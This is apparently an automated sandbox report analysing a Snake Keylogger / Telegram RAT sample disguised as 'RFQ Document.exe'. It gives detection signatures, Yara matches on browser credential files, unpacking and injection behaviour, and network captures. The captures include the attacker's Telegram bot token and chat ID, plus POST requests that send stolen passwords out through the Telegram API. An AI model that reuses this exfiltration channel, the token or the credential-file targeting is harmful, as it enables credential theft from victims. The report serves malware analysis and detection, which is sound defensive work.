Play interactive tour

Edit tour

Windows Analysis Report RFQ Document.exe

Overview

General Information

Sample Name:	RFQ Document.exe
Analysis ID:	491944
MD5:	64468b2ab541687572ce6b435b41f2bd
SHA1:	893ae234d351c762ab388a7337c625e4b213da6e
SHA256:	d3ac98cf64ca2fca455b2e4f002c3381bcee699cf64bbfaa076222209f834b1a
Tags:	exeSnakeKeylogger
Infos:
Most interesting Screenshot:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Snake Keylogger

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Yara detected Telegram RAT

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Initial sample is a PE file and has a suspicious name

Tries to harvest and steal ftp login credentials

.NET source code references suspicious native API functions

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

May check the online IP address of the machine

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Executable has a suspicious name (potential lure to open the executable)

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Uses insecure TLS / SSL version for HTTPS connection

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

RFQ Document.exe (PID: 2628 cmdline: 'C:\Users\user\Desktop\RFQ Document.exe' MD5: 64468B2AB541687572CE6B435B41F2BD)

RFQ Document.exe (PID: 6484 cmdline: 'C:\Users\user\Desktop\RFQ Document.exe' MD5: 64468B2AB541687572CE6B435B41F2BD)

cleanup

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Telegram Token": "1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E", "Telegram ID": "1664748411"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendMessage"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x2c6d8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2b8c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x2bd08:$a4: \Orbitum\User Data\Default\Login Data 0x2ce89:$a5: \Kometa\User Data\Default\Login Data
00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x302d8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2f4c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x2f908:$a4: \Orbitum\User Data\Default\Login Data 0x30a89:$a5: \Kometa\User Data\Default\Login Data
00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RFQ Document.exe PID: 2628	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RFQ Document.exe PID: 2628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RFQ Document.exe PID: 6484	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.RFQ Document.exe.7b49c8.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19480:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x18669:$a3: \Google\Chrome\User Data\Default\Login Data 0x18ab0:$a4: \Orbitum\User Data\Default\Login Data 0x19c31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.7b49c8.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.7b49c8.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.7b49c8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.22f0000.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.22f0000.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.22f0000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.22f0000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.3465530.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.3465530.4.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.3465530.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.3465530.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.400000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x2c6d8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2b8c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x2bd08:$a4: \Orbitum\User Data\Default\Login Data 0x2ce89:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.400000.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.400000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.7b49c8.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.4940000.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.4940000.5.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.4940000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.4940000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.7b49c8.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.7b49c8.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.7b49c8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RFQ Document.exe.e7e1458.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
1.2.RFQ Document.exe.e7e1458.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.RFQ Document.exe.e7e1458.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.RFQ Document.exe.e7e1458.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.1.RFQ Document.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x2c6d8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2b8c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x2bd08:$a4: \Orbitum\User Data\Default\Login Data 0x2ce89:$a5: \Kometa\User Data\Default\Login Data
2.1.RFQ Document.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.1.RFQ Document.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.1.RFQ Document.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.3465530.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19480:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x18669:$a3: \Google\Chrome\User Data\Default\Login Data 0x18ab0:$a4: \Orbitum\User Data\Default\Login Data 0x19c31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.3465530.4.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.3465530.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.3465530.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.400000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x302d8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2f4c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x2f908:$a4: \Orbitum\User Data\Default\Login Data 0x30a89:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.400000.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.400000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.400000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RFQ Document.exe.e7e1458.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19480:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x18669:$a3: \Google\Chrome\User Data\Default\Login Data 0x18ab0:$a4: \Orbitum\User Data\Default\Login Data 0x19c31:$a5: \Kometa\User Data\Default\Login Data
1.2.RFQ Document.exe.e7e1458.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.RFQ Document.exe.e7e1458.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.RFQ Document.exe.e7e1458.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.22f0000.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19480:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x18669:$a3: \Google\Chrome\User Data\Default\Login Data 0x18ab0:$a4: \Orbitum\User Data\Default\Login Data 0x19c31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.22f0000.3.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.22f0000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.22f0000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RFQ Document.exe.e7d0000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x28ad8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x27cc1:$a3: \Google\Chrome\User Data\Default\Login Data 0x28108:$a4: \Orbitum\User Data\Default\Login Data 0x29289:$a5: \Kometa\User Data\Default\Login Data
1.2.RFQ Document.exe.e7d0000.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.RFQ Document.exe.e7d0000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.RFQ Document.exe.e7d0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RFQ Document.exe.e7d0000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x2c6d8:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2b8c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x2bd08:$a4: \Orbitum\User Data\Default\Login Data 0x2ce89:$a5: \Kometa\User Data\Default\Login Data
1.2.RFQ Document.exe.e7d0000.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.RFQ Document.exe.e7d0000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.RFQ Document.exe.e7d0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.415058.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.415058.0.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.415058.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.415058.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.1.RFQ Document.exe.415058.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b280:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a469:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a8b0:$a4: \Orbitum\User Data\Default\Login Data 0x1ba31:$a5: \Kometa\User Data\Default\Login Data
2.1.RFQ Document.exe.415058.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.1.RFQ Document.exe.415058.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.1.RFQ Document.exe.415058.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RFQ Document.exe.415058.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19480:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x18669:$a3: \Google\Chrome\User Data\Default\Login Data 0x18ab0:$a4: \Orbitum\User Data\Default\Login Data 0x19c31:$a5: \Kometa\User Data\Default\Login Data
2.2.RFQ Document.exe.415058.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.RFQ Document.exe.415058.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RFQ Document.exe.415058.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.1.RFQ Document.exe.415058.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19480:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x18669:$a3: \Google\Chrome\User Data\Default\Login Data 0x18ab0:$a4: \Orbitum\User Data\Default\Login Data 0x19c31:$a5: \Kometa\User Data\Default\Login Data
2.1.RFQ Document.exe.415058.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.1.RFQ Document.exe.415058.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.1.RFQ Document.exe.415058.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 67 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.RFQ Document.exe.3465530.4.raw.unpack	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Telegram Token": "1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E", "Telegram ID": "1664748411"}
Source: RFQ Document.exe.6484.2.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendMessage"}

Machine Learning detection for sample

Show sources

Source: RFQ Document.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\nsf2EF6.tmp\tkwj.dll

Joe Sandbox ML: detected

Source: 2.1.RFQ Document.exe.400000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 2.2.RFQ Document.exe.400000.1.unpack	Avira: Label: TR/ATRAPS.Gen

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Unpacked PE file: 2.2.RFQ Document.exe.400000.1.unpack

Detected unpacking (creates a PE file in dynamic memory)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Unpacked PE file: 2.2.RFQ Document.exe.4940000.5.unpack

Source: RFQ Document.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown

HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.4:49774 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: RFQ Document.exe, 00000001.00000003.668676239.000000000E820000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RFQ Document.exe, 00000001.00000003.668676239.000000000E820000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00405EC2 FindFirstFileA,FindClose,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_004054EC DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00402671 FindFirstFileA,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_00404A29 FindFirstFileExW,

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234E43Fh
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234D5E8h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234E89Fh
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234ECFFh
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234F15Fh
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234DFDFh
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234D021h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234D5E8h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234CBC0h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0234D5E8h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594AC41h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594E061h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594B099h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594D7B1h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594A7E9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594DC09h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05949F39h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594D359h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594A391h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594CAA9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05949AE1h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594CF01h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05949231h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594C651h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05949689h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05948DD9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594C1F9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594B949h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05948981h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594BDA1h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 0594B4F1h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05974832h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05973F59h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 059736A9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05976241h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05973251h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05972979h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05975991h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 059750E1h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05974C89h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 059743B1h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05973B01h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05976699h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05972DF9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05975DE9h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then jmp 05975539h
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]

Networking:

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown

DNS query: name: api.telegram.org

May check the online IP address of the machine

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\RFQ Document.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\RFQ Document.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\RFQ Document.exe	DNS query: name: checkip.dyndns.org

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.39 HTTP/1.1Host: freegeoip.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255b68d7103Host: api.telegram.orgContent-Length: 407Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c2167f0dHost: api.telegram.orgContent-Length: 407
